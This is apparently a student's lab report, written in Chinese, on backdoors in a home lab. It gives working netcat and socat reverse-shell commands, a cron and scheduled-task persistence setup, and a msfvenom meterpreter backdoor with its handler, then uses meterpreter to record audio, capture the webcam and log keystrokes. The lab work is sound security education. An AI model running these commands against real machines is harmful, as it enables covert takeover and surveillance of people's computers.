Exp2 后门原理与实践—20201229赵斌
基础问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
- 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
- 浏览网页的时候,点的一些小广告可能会被植入后门;
- 接入别人的U盘或硬盘时,有可能被植入木马;
- 连接了不安全的网络。
- 例举你知道的后门如何启动起来(win及linux)的方式?
- Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
- 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
- Linux下可以通过cron来启动。
- Meterpreter有哪些给你映像深刻的功能?
- 直接通过指令获取主机摄像头的操作让我感到有点突然,以后还是把摄像头盖住为好;
- 获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
- 导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;
- 后门进程的迁移,这样即使有管理员去查看运行的进程也很难发现后门的存在;
- 使用后渗透攻击模块POST可以对主机进行更深入的攻击。
- 如何发现自己有系统有没有被安装后门?
- 没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
- 检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
- 下载专门的监控软件,对操作系统中的进程进行监控,看是否存在异常;
- 最好的防范措施就是提高安全意识,不乱点链接乱下文件。
常用后门工具实践
Windows获得Linux Shell
- 在Windows下,先使用
ipconfig
指令查看本机IP:
- 在Kali环境下,使用
ifconfig
查看IP
- 在Windows中使用
ncat.exe
程序监听1229
端口,在Kali环境下,使用nc
指令的-e
选项反向连接Windows主机的1229
端口。Windows下成功获得了一个Kali的shell,运行ls
指令如下:
Linux获得Windows Shell
过程与之前的类似,在Kali环境下使用nc
指令监听1229
端口,在Windows下使用ncat.exe
程序的-e
选项项反向连接Kali主机的1229
端口。Kali下可以看到Windows的命令提示,输入dir
指令如下:
使用nc传输数据
-
Windows下监听
1229
端口:
-
Kali下连接到Windows的
1229
端口:
-
建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:
实验内容
使用netcat获取主机操作Shell,cron启动
-
先在Windows系统下,监听
1229
端口。 -
在Kali环境下,使用
man crontab
指令查看crontab
命令的帮助文档,从文档中我们可以知道crontab
指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab
文件中,以供之后读取和执行。
-
用
crontab -e
指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行。 -
在最后一行添加
30 * * * * /bin/netcat 192.168.199.241 1229 -e /bin/sh
,意思是在每个小时的第30分钟反向连接Windows主机的1229
端口,设置成30的原因是我当时的时间是18:28,为了能立马看到效果,所以我将时间设置在了两分钟以后:
-
当时间到了18:30时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了18:30时会立马显示出来):
使用socat获取主机操作Shell, 任务计划启动
基础知识
socat
是ncat
的增强版,它使用的格式是socat [options] <address> <address>
,其中两个address
是必选项,而options
是可选项。socat
的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address
就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
实践过程
-
在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:
-
在操作->程序或脚本中选择你的
socat.exe
文件的路径,在添加参数一栏填写tcp-listen:1229 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe
绑定到端口1229,同时把cmd.exe
的stderr重定向到stdout上。 -
创建完成之后,按
Windows+L
快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:
-
此时,在Kali环境下输入指令
socat - tcp:192.168.199.241:1229
,这里的第一个参数-
代表标准的输入输出,第二个流连接到Windows主机的1229
端口,此时可以发现已经成功获得了一个cmd shell:
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.134 LPORT=1229 -f exe > 20201229_backdoor.exe
生成后门程序。 -
通过
nc
指令将生成的后门程序传送到Windows主机上ncat.exe -lv 1229 >20201229_backdoor.exe
ncat 192.168.199.241 1229 < 20201229_backdoor.exe
-
在Kali上使用
msfconsole
指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:use exploit/multi/handler #使用监听模块,设置payload set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload set LHOST 192.168.247.134 #KaliIP,和生成后门程序时指定的IP相同 set LPORT 1229
-
设置完成后,执行监听:
-
打开Windows上的后门程序
20201229_backdoor.exe
-
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容。
-
使用
record_mic
指令可以截获一段音频:
-
使用
webcam_snap
指令可以使用摄像头进行拍照:
-
使用
webcam stream
指令可以使用摄像头进行录像。 -
使用
screenshot
指令可以进行截屏:
-
使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录:
-
获取主机内容的文件如下:
实验总结与体会
- 实验过程中最大的触动还是在使用MSF的时候,非常轻易的就从Windows上获取到了许多信息,在实验成功的同时也越来越让我感觉到现在的电脑真的是不堪一击,当然很多时候还是由于我们缺乏一定的安全意识所导致的。比如说没有养成定时打补丁的习惯,又或者是在下载软件的时候没有去通过正规渠道,这些东西在平常看起来没有什么大问题,如果有一天你的电脑有了利用价值,那么黑客想要攻击你的电脑就会变得易如反掌。
- 提高电脑的安全性还是要从我们平常做起,比如说可以经常关闭一些本机不用的端口或只允许指定的端口访问,其次要使用专杀木马的软件,为了有效地防范木马后门,还要学会对进程进行操作,时时注意系统运行状况,看看是否有一些不明进程正运行并及时地将不明进程终止掉。